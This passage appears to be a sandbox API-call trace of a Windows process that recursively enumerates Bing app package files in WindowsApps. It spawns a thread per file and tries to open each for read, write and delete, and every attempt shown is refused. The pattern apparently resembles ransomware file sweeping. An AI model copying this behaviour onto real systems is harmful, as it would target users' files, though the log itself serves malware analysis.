	[0079.197] wcscat (in: _Dest=0x2d70068, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\"
	[0079.197] wcscat (in: _Dest=0x2d70068, _Source="ormma.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\ormma.js"
	[0079.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d70068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1108
	[0079.197] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70775e5e, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x70775e5e, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x70775e5e, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x73d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ormma.js", cAlternateFileName="")) returned 0
	[0079.198] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fbf0) returned 1
	[0079.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c478) returned 1

Thread:
	id = 716
	os_tid = 0x1a5c

	[0079.199] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml")) returned 0x20
	[0079.199] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.199] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\platformconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.199] GetLastError () returned 0x5
	[0079.199] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\PlatformConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.199] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477bf48) returned 1

Thread:
	id = 717
	os_tid = 0x1a60

	[0079.200] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri")) returned 0x20
	[0079.201] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.201] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.201] GetLastError () returned 0x5
	[0079.201] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769d28) returned 1

Thread:
	id = 718
	os_tid = 0x1a64

	[0079.202] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd")) returned 0x20
	[0079.202] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", dwFileAttributes=0x20) returned 0
	[0079.202] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.203] GetLastError () returned 0x5
	[0079.203] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", dwFileAttributes=0x20) returned 0
	[0079.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca620) returned 1

Thread:
	id = 719
	os_tid = 0x1a68

	[0079.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4769ae8
	[0079.204] wcscpy (in: _Dest=0x4769ae8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.204] wcscat (in: _Dest=0x4769ae8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.204] wcscat (in: _Dest=0x4769ae8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*"
	[0079.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.204] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d5b50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.204] wcscmp (_String1=".", _String2=".") returned 0
	[0079.204] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa2d5b50, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.204] wcscmp (_String1="..", _String2=".") returned 1
	[0079.204] wcscmp (_String1="..", _String2="..") returned 0
	[0079.204] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2985, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.rsrc", cAlternateFileName="")) returned 1
	[0079.204] wcscmp (_String1="0.rsrc", _String2=".") returned 1
	[0079.204] wcscmp (_String1="0.rsrc", _String2="..") returned 1
	[0079.204] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770de8
	[0079.204] wcscpy (in: _Dest=0x4770de8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.204] wcscat (in: _Dest=0x4770de8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.204] wcscat (in: _Dest=0x4770de8, _Source="0.rsrc" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\0.rsrc"
	[0079.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4770de8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110c
	[0079.205] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 1
	[0079.205] wcscmp (_String1="index.txt", _String2=".") returned 1
	[0079.205] wcscmp (_String1="index.txt", _String2="..") returned 1
	[0079.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x47ea3a0
	[0079.205] wcscpy (in: _Dest=0x47ea3a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources"
	[0079.205] wcscat (in: _Dest=0x47ea3a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\"
	[0079.205] wcscat (in: _Dest=0x47ea3a0, _Source="index.txt" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt"
	[0079.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ea3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1110
	[0079.206] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704a11ba, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x704a11ba, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x704a11ba, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.txt", cAlternateFileName="")) returned 0
	[0079.206] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769ae8) returned 1
	[0079.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb988) returned 1

Thread:
	id = 720
	os_tid = 0x1a6c

	[0079.207] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml")) returned 0x20
	[0079.208] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.208] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appconfiguration.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.208] GetLastError () returned 0x5
	[0079.208] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppConfiguration.xml", dwFileAttributes=0x20) returned 0
	[0079.208] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d388) returned 1

Thread:
	id = 721
	os_tid = 0x1a70

	[0079.209] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0079.210] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0079.210] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.210] GetLastError () returned 0x5
	[0079.210] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0079.210] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cabd0) returned 1

Thread:
	id = 722
	os_tid = 0x1a74

	[0079.211] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0079.212] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0079.212] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.212] GetLastError () returned 0x5
	[0079.212] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0079.212] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47caf10) returned 1

Thread:
	id = 723
	os_tid = 0x1a78

	[0079.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x476fbf0
	[0079.213] wcscpy (in: _Dest=0x476fbf0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0079.213] wcscat (in: _Dest=0x476fbf0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0079.213] wcscat (in: _Dest=0x476fbf0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0079.213] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.213] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa098c51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.214] wcscmp (_String1=".", _String2=".") returned 0
	[0079.214] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa098c51, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.214] wcscmp (_String1="..", _String2=".") returned 1
	[0079.214] wcscmp (_String1="..", _String2="..") returned 0
	[0079.214] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0079.214] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0079.214] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0079.214] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768d68
	[0079.214] wcscpy (in: _Dest=0x4768d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata"
	[0079.214] wcscat (in: _Dest=0x4768d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\"
	[0079.214] wcscat (in: _Dest=0x4768d68, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0079.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114
	[0079.215] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x77492ec4, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2fe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0079.215] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df67b0) returned 1
	[0079.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476fbf0) returned 1
	[0079.215] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476bbe0) returned 1

Thread:
	id = 724
	os_tid = 0x1a7c

	[0079.216] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0079.217] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.217] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.bingfinance_4.6.169.0_x86__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.217] GetLastError () returned 0x5
	[0079.217] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0079.217] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47caa30) returned 1

Thread:
	id = 725
	os_tid = 0x1a80

	[0079.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x4769ae8
	[0079.218] wcscpy (in: _Dest=0x4769ae8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets"
	[0079.218] wcscat (in: _Dest=0x4769ae8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\"
	[0079.218] wcscat (in: _Dest=0x4769ae8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*"
	[0079.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df67b0
	[0079.218] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77492ec4, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa0991e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x77492ec4, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.218] wcscmp (_String1=".", _String2=".") returned 0
